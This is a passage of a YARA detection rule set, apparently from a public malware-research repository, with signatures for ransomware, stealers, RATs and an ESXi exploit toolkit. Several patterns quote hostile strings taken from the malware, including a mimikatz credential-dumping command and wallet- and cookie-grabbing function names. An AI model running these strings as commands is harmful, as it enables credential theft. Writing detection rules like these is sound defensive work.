		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ESXiExploitToolkit/win_mal_MyDriverSYS.yar#L1-L13"
		license_url = "N/A"
		hash = "c3f8da7599468c11782c2332497b9e5013d98a1030034243dfed0cf072469c89"
		logic_hash = "9eb5273dcd895aa861839119a7850461c52bb7f423301f7e0e03d8c382fa3ec9"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "SetGuestInfo  7 11111111"
		$s2 = "found ESXi%d.%d build-%d"
		$s3 = "current build is not surpported"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_MAESTRO : FILE
{
	meta:
		description = "Detects MAESTRO payload"
		author = "RussianPanda"
		id = "c7684ab1-c7ac-504e-9402-ef0bd0b664b9"
		date = "2025-12-31"
		modified = "2025-12-31"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ESXiExploitToolkit/win_mal_MAESTRO.yar#L1-L14"
		license_url = "N/A"
		hash = "37972a232ac6d8c402ac4531430967c1fd458b74a52d6d1990688d88956791a7"
		logic_hash = "943a4508bae1a285efb05232de29463c3ca667c28fd97e0ec9fd2e88df76b6c0"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "devcon.exe disable \"PCI\\VEN_15AD&DEV_0740\""
		$s2 = "devcon.exe disable \"ROOT\\VMWVMCIHOSTDEV\""
		$s3 = "Open SymbolicLink Failed" wide
		$s4 = "Done!!!" ascii wide
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Getshellplugin : FILE
{
	meta:
		description = "Detects GetShell Plugin (client)"
		author = "RussianPanda"
		id = "f20f1c80-a52a-5f3a-8bbd-915ef77e9850"
		date = "2025-12-31"
		modified = "2025-12-31"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ESXiExploitToolkit/win_mal_GetShellPlugin.yar#L1-L13"
		license_url = "N/A"
		hash = "4614346fc1ff74f057d189db45aa7dc25d6e7f3d9b68c287a409a53c86dca25e"
		logic_hash = "758339dc10eab3ae0fd743568ba356e91d2902ad6c8228095322903bdc00af6e"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "InfDefaultInstall.exe .\\vsock.inf"
		$s2 = "InfDefaultInstall.exe .\\vmci.inf"
		$s3 = "invalid SERVER_CID:PORT"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Vsockpuppet : FILE
{
	meta:
		description = "Detects VSOCKpuppet payload"
		author = "RussianPanda"
		id = "82ace9c6-5ca2-5665-8ed5-8fecfe54f12c"
		date = "2025-12-31"
		modified = "2025-12-31"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ESXiExploitToolkit/linux_mal_VSOCKpuppet.yar#L1-L14"
		license_url = "N/A"
		hash = "c3f8da7599468c11782c2332497b9e5013d98a1030034243dfed0cf072469c89"
		logic_hash = "5c83b3303b092372da8ecd7cb8457a37e3f53042cdf8463fc8837208d34f09b6"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "received command:%s"
		$s2 = "MCISock_GetAFValue failed"
		$s3 = "recv_response failed"
		$s4 = "send_msg_len failed"
	condition:
		uint32( 0 ) == 0x464C457F and all of them
}

rule RUSSIANPANDA_Cowtunnel : FILE
{
	meta:
		description = "Detects CowTunnel"
		author = "RussianPanda"
		id = "dc9f8416-0f5b-51d8-ad13-46ebe40af13a"
		date = "2025-12-08"
		modified = "2025-12-08"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/CowTunnel/linux_mal_CowTunnel.yar#L1-L13"
		license_url = "N/A"
		hash = "776850a1e6d6915e9bf35aa83554616129acd94e3a3f6673bd6ddaec530f4273"
		logic_hash = "80c96d02e216331ec0b711ae1a1ee5fcf31df8847009afe23735abc3f8bd8ec9"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "cannot create proxy service, it should not happenned!"
		$s2 = "[nss] encrypt_data"
		$s3 = "[nss] decrypt_data"
	condition:
		uint32( 0 ) == 0x464c457f and all of them
}





rule RUSSIANPANDA_Win_Mal_Koi_Loader_Decrypted : FILE
{
	meta:
		description = "Detects decrypted Koi Loader"
		author = "RussianPanda"
		id = "71de93d3-5c9f-5994-a54d-d4455d500280"
		date = "2024-04-04"
		modified = "2024-04-04"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Koi/win_mal_Koi_loader_decrypted.yar#L1-L12"
		license_url = "N/A"
		hash = "1901593e0299930d46b963866f33a93b"
		logic_hash = "f73ada7185ff109afe1e186a0fb7b4420b3d0e04c93c7c5423243db97eb34e49"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {73 00 64 00 32 00 2E 00 70 00 73 00 31 00}
		$s2 = {25 00 74 00 65 00 6D 00 70 00 25 00 5C 00 25 00 70 00 61 00 74 00 68 00 73 00 25}
	condition:
		uint16( 0 ) == 0x5A4D and all of ( $s* )
}


rule RUSSIANPANDA_Whitesnakestealer : FILE
{
	meta:
		description = "WhiteSnake Stealer"
		author = "RussianPanda"
		id = "70b69aba-5096-59a6-bb0b-44d248aecc26"
		date = "2023-07-04"
		modified = "2023-12-11"
		reference = "https://russianpanda.com/2023/07/04/WhiteSnake-Stealer-Malware-Analysis/"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/WhiteSnake-Stealer/WhiteSnake_rc4.yar#L1-L17"
		license_url = "N/A"
		logic_hash = "24985a2c3b0d72858decd17cb2b8e485caa94c01ad72a014edc68ed4facfd71e"
		score = 75
		quality = 83
		tags = "FILE"
	strings:
		$s1 = {73 68 69 74 2e 6a 70 67}
		$s2 = {FE 0C ?? 00 20 00 01 00 00 3F ?? FF FF FF 20 00 00 00 00 FE 0E ?? 00 38 ?? 00 00 00 FE 0C}
		$s3 = "qemu" wide
		$s4 = "vbox" wide
	condition:
		all of ( $s* ) and filesize < 300KB
}

rule RUSSIANPANDA_Whitesnakestealer_1 : FILE
{
	meta:
		description = "Detects WhiteSnake Stealer XOR samples "
		author = "RussianPanda"
		id = "cfe168a6-cc2f-5cfe-985c-78b232dc2651"
		date = "2023-07-04"
		modified = "2023-12-11"
		reference = "https://russianpanda.com/2023/07/04/WhiteSnake-Stealer-Malware-Analysis/"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/WhiteSnake-Stealer/WhiteSnake_xor.yar#L1-L15"
		license_url = "N/A"
		logic_hash = "0bd0e250b8598be297296ecf6644d3bf649e3dc4598438325a0913afed04c819"
		score = 75
		quality = 83
		tags = "FILE"
	strings:
		$s1 = {FE 0C 00 00 FE 09 00 00 FE 0C 02 00 6F ?? 00 00 0A FE 0C 03 00 61 D1 FE 0E 04 00 FE}
		$s2 = {61 6e 61 6c 2e 6a 70 67}
	condition:
		all of ( $s* ) and filesize < 600KB
}

rule RUSSIANPANDA_Win_Ransom_Lockbit5 : FILE
{
	meta:
		description = "Detects LockBit 5.0"
		author = "RussianPanda"
		id = "bfe66503-fdd1-5a9a-9509-5b97efaabd9b"
		date = "2025-09-15"
		modified = "2025-09-15"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Ransomware/win_ransom_lockbit5.0.yar#L1-L15"
		license_url = "N/A"
		hash = "7ea5afbc166c4e23498aa9747be81ceaf8dad90b8daa07a6e4644dc7c2277b82"
		logic_hash = "579944626f576ce9771b0a7de40a5766221acd5db1ef4257a45314a99714067d"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {C6 41 0F 00 0F B6 ?? 33 ?? 89}
		$s2 = {0F B6 ?? 0F C1 ?? 18 31}
		$s3 = {83 ?? 02 83 ?? 0F D0 84 ?? ?? 00 00 00}
	condition:
		all of ( $s* ) and uint16( 0 ) == 0x5A4D and filesize < 1MB
}

rule RUSSIANPANDA_Zinfoq : FILE
{
	meta:
		description = "Detects ZinFoq implant"
		author = "RussianPanda"
		id = "e88a2941-2e73-5dc4-8894-c03236c3a61e"
		date = "2025-12-08"
		modified = "2025-12-09"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ZinFoq/linux_mal_zinfoq.yar#L1-L13"
		license_url = "N/A"
		hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
		logic_hash = "e14d7968bc9752550924cd20d7e48622e97aeecd03975de91075cef9d677ab3f"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "_FlAg_UuId;;;;;;"
		$s2 = "interactive_shell"
		$s3 = "explorer_download"
	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule RUSSIANPANDA_Darkvnc : FILE
{
	meta:
		description = "Detects DarkVNC"
		author = "RussianPanda"
		id = "dbc86ac8-5ea3-59a7-b3ab-68c603165720"
		date = "2024-01-15"
		modified = "2024-01-15"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/DarkVNC/darkvnc.yar#L1-L15"
		license_url = "N/A"
		hash = "3c74dccd06605bcf527ffc27b3122959"
		logic_hash = "1dd1246e0b22181706433f0cff9b231017e747d8faaa2db4cb9adefeab492ab7"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {66 89 84 24 ?? 00 00 00 B8 ?? 00 00 00}
		$s2 = {66 31 14 41 48}
		$s3 = "VncStopServer"
		$s4 = "VncStartServer"
	condition:
		uint16( 0 ) == 0x5A4D and 3 of them and filesize < 700KB
}

rule RUSSIANPANDA_Win_Mal_Mpxdropper : FILE
{
	meta:
		description = "Detects MpxDropper"
		author = "RussianPanda"
		id = "26ee0a12-c727-5953-8ebb-dd8a8d772561"
		date = "2024-03-01"
		modified = "2024-03-01"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/MpxDropper/mal_win_MpxDropper.yar#L1-L11"
		license_url = "N/A"
		hash = "3a44a45afbfe5fc7cdeb3723e05c4e892b079abdb7d1e8d6fc70496ef0a14d5d"
		logic_hash = "e8d2672553c7f44e1cc177fad6596bd58b5c32a7541f91ce1207e6b21ef6e52d"
		score = 75
		quality = 83
		tags = "FILE"
	strings:
		$s1 = {43 3a 5c 55 73 65 72 73 5c 6d 70 78 31 36 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Textshell : FILE
{
	meta:
		description = "Detects TextShell Obfsucator"
		author = "RussianPanda"
		id = "48fe49be-a76e-5e6c-a69f-acbe73f4d175"
		date = "2025-10-31"
		modified = "2025-11-02"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/VanillaTempest/win_mal_TextShell.yar#L1-L13"
		license_url = "N/A"
		hash = "cf44aa11a17b3dad61cae715f4ea27c0cbf80732a1a7a1c530a5c9d3d183482a"
		logic_hash = "c8f84d7160d8cb3b76d06170af09c921893b6f4cd073a10b399d8f51199cef40"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {41 8B 04 84 48 03 ?? EB}
		$s2 = {41 3B ?? 74 ?? FF C3 3B 5D 18 72}
		$s3 = {FF 15 ?? ?? ?? ?? 48 8B}
	condition:
		uint16( 0 ) == 0x5A4D and all of them and #s3 > 1000
}

rule RUSSIANPANDA_Kaiji_Ares : FILE
{
	meta:
		description = "Detects a Variant of Kaiji (Ares) observed during React2Shell exploitation"
		author = "RussianPanda"
		id = "02bcbd60-fc14-5764-a456-061a9a6aea32"
		date = "2025-12-08"
		modified = "2025-12-09"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Kaiji/mal_linux_kaiji_ares.yar#L1-L13"
		license_url = "N/A"
		hash = "c79fcb6c433d8a613f25b9b4c81c1c2514ac97e9aaae7c7c84a432b2476b5e4e"
		logic_hash = "73d1e00deb6e0d3f78ebc8a19b237df5e869237717b62557abbc652efe000155"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "C:/src/client/linux/ares_tcp.go"
		$s2 = {E5 BC BA E5 88 B6 55 64 70}
		$s3 = {B0 81 E5 8C 85}
	condition:
		uint32( 0 ) == 0x464c457f and 2 of them
}

rule RUSSIANPANDA_Johnwalkertexasloader_V2 : FILE
{
	meta:
		description = "Detects JohnWalkerTexasLoader (JWTL)"
		author = "RussianPanda"
		id = "1a05245e-5ee0-5916-801b-4f7f3a573e71"
		date = "2024-10-15"
		modified = "2024-10-15"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/JWTL/JohnWalkerTexasLoader_v2.yar#L1-L16"
		license_url = "N/A"
		hash = "9f6bf0473f5541d84faad4c33a0bc5b1928fceb5938f2d6a7e6e02b7f0980341"
		logic_hash = "70cbf6cf0602dc8087f4845451d13d0043872733615050161c077e3346387873"
		score = 75
		quality = 81
		tags = "FILE"
	strings:
		$s1 = {61 00 48 00 52 00 30 00 63 00 48 00 4D 00 36 00 4C 00 79 00 39}
		$s2 = {73 65 6E 64 6F 70 65 6E 31}
		$s3 = {73 65 6E 64 6F 70 65 6E 32}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Johnwalkertexasloader : FILE
{
	meta:
		description = "Detects JohnWalkerTexasLoader (JWTL)"
		author = "RussianPanda"
		id = "af91ab47-245b-58f2-a35a-1cb408b2229a"
		date = "2024-10-10"
		modified = "2024-10-10"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/JWTL/JohnWalkerTexasLoader.yar#L1-L16"
		license_url = "N/A"
		hash = "3784fc39dc5c0dec08ad0a49bbbb990359e313a9fa87e6842fd67ed7cc1c0baa"
		logic_hash = "414be3219d12823639d140d132a9bbc2ca7bf8c44d0c560e4a49b76323be3f8a"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "?status=1&wallets=" ascii wide
		$s2 = "/api.php" ascii wide
		$s3 = "/api-debug.php" ascii wide
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}


rule RUSSIANPANDA_Gh0Strat : FILE
{
	meta:
		description = "Detects Gh0stRAT"
		author = "RussianPanda"
		id = "db310549-feed-57b8-9ec0-232b6eda62f9"
		date = "2024-07-09"
		modified = "2024-07-09"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Gh0stRAT/Gh0stRAT.yar#L1-L14"
		license_url = "N/A"
		hash = "678b06ecdbc9b186788cf960332566f9"
		logic_hash = "bc4bdad83a0e23273774c3d4812cabe9fa44897c8ff2e308004e03b4f1622cd5"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "SAM\\SAM\\Domains\\Account\\Users\\Names\\%s"
		$s2 = "GetMP privilege::debug sekurlsa::logonpasswords exit"
		$s3 = "Http/1.1 403 Forbidden"
		$s4 = "WinSta0\\Default"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Zharkbot : FILE
{
	meta:
		description = "Detects ZharkBot"
		author = "RussianPanda"
		id = "54213d76-7e27-559d-b653-5390a0c6813c"
		date = "2024-01-21"
		modified = "2024-03-12"
		reference = "https://x.com/ViriBack/status/1749184882822029564?s=20"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ZharkBot/zharkbot.yar#L1-L15"
		license_url = "N/A"
		hash = "d53ce8c0a8a89c2e3eb080849da8b1c47eaac614248fc55d03706dd5b4e10bdd"
		logic_hash = "ffaec6b19dd4385cd1bc156fdfde39a356367c7fba4135c48a8de62a18a78576"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {F7 EA C1 FA 04 8B C2 C1 E8 1F 03 C2 8B 55 ?? 0F BE C0 8A CA 6B C0 ?? 2A C8 80 C1}
		$s2 = {F7 E2 C1 EA 04 0F BE C2 8B 55 ?? 8A CA 6B C0 ?? 2A C8 80 C1 ?? 30 8C 15}
	condition:
		uint16( 0 ) == 0x5A4D and #s1 > 3 and #s2 > 3 and filesize < 500KB
}

rule RUSSIANPANDA_Zharkbot_1 : FILE
{
	meta:
		description = "Detects ZharkBot, version 1.2.5"
		author = "RussianPanda"
		id = "e20875ed-a0a1-5ac8-8758-33766c522c17"
		date = "2024-09-02"
		modified = "2024-09-03"
		reference = "https://research.openanalysis.net/zharkbot/triage/x64dbg/2024/09/02/zharkbot-config.html"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ZharkBot/Zharkbot.yar#L1-L15"
		license_url = "N/A"
		hash = "1aa0622a744ec4d28a561bac60ec5e907476587efbadfde546d2b145be4b8109"
		logic_hash = "fded6a0c7af4fda13619778669ef619f88b43e12f12284a3c551c4fddac01024"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "^[a-z]{8}$"
		$s2 = "^d{6}$"
	condition:
		uint16( 0 ) == 0x5A4D and all of them and filesize < 500KB
}


rule RUSSIANPANDA_Win_Mal_Chromium_App_Bound_Encryption_Decrypter : FILE
{
	meta:
		description = "Detects Potential Chromium app_bound_encryption key Decrypter"
		author = "RussianPanda"
		id = "f3c500cb-52d1-5e89-a927-36da6246d2cb"
		date = "2025-02-13"
		modified = "2025-02-14"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_Chromium_app_bound_encryption_Decrypter.yar#L1-L26"
		license_url = "N/A"
		hash = "0f4dcfd8c9ada67a9b41033fc715d370399fd74ca94dbb8a1ea45b3785c88d02"
		logic_hash = "e871c9a6762c38baeed287e9350530c2c3cd02333b1830210ef74c258bd223b9"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$op_chr_1 = {E0 60 88 70 41 F6 11 46}
		$op_chr_2 = {88 95 7D 86 7D D3 67 5B}
		$op_chr_3 = {CF BE 3A 46 0D 41 7F 40}
		$op_chr_4 = {8A F5 0D F3 5A 00 5C C8}
		$op_br_1 = {AF 31 6B 57 69 63 6B 4B}
		$op_br_2 = {85 60 E4 B2 03 A9 7A 8B}
		$op_br_3 = {1E 86 96 F3 8E 0C 71 4C}
		$op_br_4 = {82 56 2F AE 6D 75 9C E9}
		$op_edg_1 = {6C E9 CB 1F 97 16 AF 43}
		$op_edg_2 = {91 40 28 97 C7 C6 97 67}
		$op_edg_3 = {07 B8 C2 C9 31 77 34 4F}
		$op_edg_4 = {81 B7 44 FF 77 79 52 2B}
		$riid1 = {CF BE 3A 46 0D 41 7F 40 8A F5 0D F3 5A 00 5C C8}
		$riid2 = {1E 86 96 F3 8E 0C 71 4C 82 56 2F AE 6D 75 9C E9}
		$dll1 = "CoCreateInstance"
		$dll2 = "CoInitializeEx"
	condition:
		uint16( 0 ) == 0x5A4D and all of ( $dll* ) and all of ( $riid* ) and 8 of ( $op_* )
}

rule RUSSIANPANDA_Win_Mal_Formgrabber : FILE
{
	meta:
		description = "Detects Formgrabber Plugin"
		author = "RussianPanda"
		id = "818405a9-4348-5c4a-a4d1-e35b4f525e25"
		date = "2025-02-13"
		modified = "2025-02-14"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_Formgrabber.yar#L1-L14"
		license_url = "N/A"
		hash = "33ea72b46af7bb2ecc0775f7536d3259f34bd7a13e298cac66649ee694097c2e"
		logic_hash = "649e2a5b018b79d3d8534baf8432924f7ee197f26aebbfd384dd613c31d1b035"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "frmgrb"
		$s2 = "WebfakeRecords"
		$s3 = "urlblocklist"
		$s4 = "mscoree.dll"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Win_Mal_Mmgrabber : FILE
{
	meta:
		description = "Detects mmgrabber Plugin"
		author = "RussianPanda"
		id = "9d16282e-0cf3-527c-89df-51ae0d156e70"
		date = "2025-02-13"
		modified = "2025-02-14"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_mmgrabber.yar#L1-L14"
		license_url = "N/A"
		hash = "40ebd719aa66a88e261633887ed4e2c144bd11fbcc6f7793f9b32652cc5bf2d3"
		logic_hash = "149c81b3c1a33933da0c181b8e8a90f40ba5fd8961d6340470790eb375c9695b"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "GrabDesktopWallets"
		$s2 = "GrabChromeExtensions"
		$s3 = "FindExodusFolder"
		$s4 = "mscoree.dll"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Win_Mal_Ghostweaver : FILE
{
	meta:
		description = "Detects GhostWeaver backdoor"
		author = "RussianPanda"
		id = "febabd9a-b738-5ed8-b605-4bbef86ce8ac"
		date = "2025-02-15"
		modified = "2025-02-15"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_GhostWeaver.yar#L1-L13"
		license_url = "N/A"
		hash = "5051f0aa11da67e16797daa51992467ad45c5bf18dcd2e252e8aa63d3fce31bc"
		logic_hash = "6901fa0e7d5a911a0029536ac38d9a2a248fa72126114b10ea941cc8b4329d12"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "$global:keystr"
		$s2 = "stub"
		$s3 = "ForEach-Object"
	condition:
		all of them and filesize < 1MB and @s3 > 100
}

rule RUSSIANPANDA_Win_Mal_Juniperstealer : FILE
{
	meta:
		description = "Detects Juniper Stealer"
		author = "RussianPanda"
		id = "d8ad9175-a226-5e09-a206-b3da42c1db42"
		date = "2025-02-13"
		modified = "2025-02-14"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_JuniperStealer.yar#L1-L14"
		license_url = "N/A"
		hash = "44dc2777ee8dd6d5cd8ebb10e71caf73b330940131417b5fca2b174a264e19e3"
		logic_hash = "e3d05058bbb0e8e408f2b6cf24cb2462b6a3f237c3c464b891cda705b4968c02"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "OutlookDecryptPwd"
		$s2 = "CookiesNew"
		$s3 = "Cookies128"
		$s4 = "mscoree.dll"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Mal_Msedge_Dll_Virusloader : FILE
{
	meta:
		description = "Detects malicious msedge.dll file"
		author = "RussianPanda"
		id = "7139ee30-de9a-5ef0-a96f-2ab9c239c6ff"
		date = "2024-01-19"
		modified = "2024-01-19"
		reference = "https://blog.phylum.io/npm-package-found-delivering-sophisticated-rat/"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/virusloader/mal_msedge_dll_virusloader.yar#L1-L16"
		license_url = "N/A"
		hash = "ab2e3b07170ef1516af3af0d03388868"
		logic_hash = "659fd5fa3121fec5bf4cceb6f3dea95bf4cbcde7441d6f11c35288d8ad75a803"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {C6 85 ?? FE FF FF ?? C6}
		$s2 = {C7 85 ?? FD FF FF}
		$s3 = {BF 60 01 00 00 [18] 30 04 39 41}
	condition:
		uint16( 0 ) == 0x5A4D and all of ( $s* ) and #s1 > 30 and #s2 > 30 and filesize < 300KB
}

rule RUSSIANPANDA_Mal_Botnetfenix_Payload : FILE
{
	meta:
		description = "Detects BotnetFenix payload"
		author = "RussianPanda"
		id = "566bfae1-c43d-5bd6-adcf-faff32d8c325"
		date = "2024-02-02"
		modified = "2024-02-04"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/FenixBotnet/mal_BotnetFenix_Payload.yar#L1-L16"
		license_url = "N/A"
		hash = "65a9575c50a96d04a3f649fe0f6b8ccd"
		logic_hash = "27f423b509ad8de0f8389c7b3e3bfec2eeb10c964aa8c70bad47cc4334df1a5e"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "tasks_register"
		$s2 = "actionget_action"
		$s3 = "Post Success"
		$s4 = "Success Stealer"
		$s5 = "Download and Execute task id"
		$a = "_CorExeMain"
	condition:
		uint16( 0 ) == 0x5A4D and 4 of ( $s* ) and $a
}

rule RUSSIANPANDA_Mal_Asuka_Stealer : FILE
{
	meta:
		description = "Detects AsukaStealer"
		author = "RussianPanda"
		id = "a718be5f-dc76-5610-9237-038a9719d7e5"
		date = "2024-02-02"
		modified = "2024-03-18"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AsukaStealer/mal_asuka_stealer.yar#L1-L12"
		license_url = "N/A"
		logic_hash = "7974e0de821ddcafd4f00b27d587108f0d80f8a231dd0db4d2be4fa6ab44fef4"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {32 14 3E E8 F6 81 00 00}
		$s2 = {00 58 00 2D 00 43 00 6F 00 6E 00 66 00 69 00 67}
		$s3 = {58 00 2D 00 49 00 6E 00 66 00 6F}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Mal_Nitrogen : FILE
{
	meta:
		description = "Detects Nitrogen campaign"
		author = "RussianPanda"
		id = "9d591f87-47ec-54ea-b0ae-26a0542733a0"
		date = "2024-02-04"
		modified = "2024-02-04"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Nitrogen/mal_nitrogen.yar#L1-L15"
		license_url = "N/A"
		logic_hash = "642d5a16c7fb217a297bba683221de474eb028ac48ec8f52be897eaa056acb9b"
		score = 75
		quality = 79
		tags = "FILE"
	strings:
		$s1 = {63 7C 77 7B F2 6B 6F C5}
		$s2 = {52 09 6A D5 30 36 A5 38}
		$s3 = {6F 72 69 67 69 6E 61 6C 5F 69 6E 73 74 61 6C 6C}
		$s4 = {43 3A 5C 55 73 65 72 73 5C 50 75 62 6C 69 63 5C 44 6F 77 6E 6C 6F 61 64}
		$s5 = {25 00 43 00 55 00 52 00 52 00 45 00 4E 00 54 00 5F 00 44 00 45 00 52 00 45 00 43 00 54 00 4F 00 52 00 59 00 25}
		$s6 = {4E 69 74 72 6F 67 65 6E 54 61 72 67 65 74}
	condition:
		uint16( 0 ) == 0x5A4D and 5 of them
}

rule RUSSIANPANDA_Garystealer : FILE
{
	meta:
		description = "Detects GaryStealer 1-3-2024"
		author = "RussianPanda"
		id = "4b0af30e-2cf1-539d-89fa-7e4e32cd6eab"
		date = "2024-01-03"
		modified = "2024-01-03"
		reference = "https://cybersecurity.att.com/blogs/labs-research/behind-the-scenes-jaskagos-coordinated-strike-on-macos-and-windows"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/GaryStealer/garystealer-1-3-2024.yar#L1-L20"
		license_url = "N/A"
		hash = "6efa29a0f9d112cfbb982f7d9c0ddfe395b0b0edb885c2d5409b33ad60ce1435"
		logic_hash = "f71655d0cb237c08af9c298ec9eec1ae9bd1efd50e26d61afddf9056b6883a15"
		score = 75
		quality = 79
		tags = "FILE"
	strings:
		$s1 = {72 75 6e 74 69 6d 65 2e 67 6f 70 61 6e 69 63}
		$s2 = {4c 6f 63 61 6c 20 49 50 20 41 64 64 72 65 73 73 65 73 3a 5b 70 69 63 6b 2d 66 69 72 73 74 2d 6c 62 20 25 70 5d}
		$s3 = {70 65 72 73 69 73 74 61 6E 63 65 20 63 72 65 61 74 65 64}
		$s4 = {C7 40 28 ?? 00 00 00}
	condition:
		uint16( 0 ) == 0x5A4D and 3 of ( $s* ) and filesize < 20MB and #s4 > 2
}

rule RUSSIANPANDA_Purelogs_Stealer_Initial_Dropper : FILE
{
	meta:
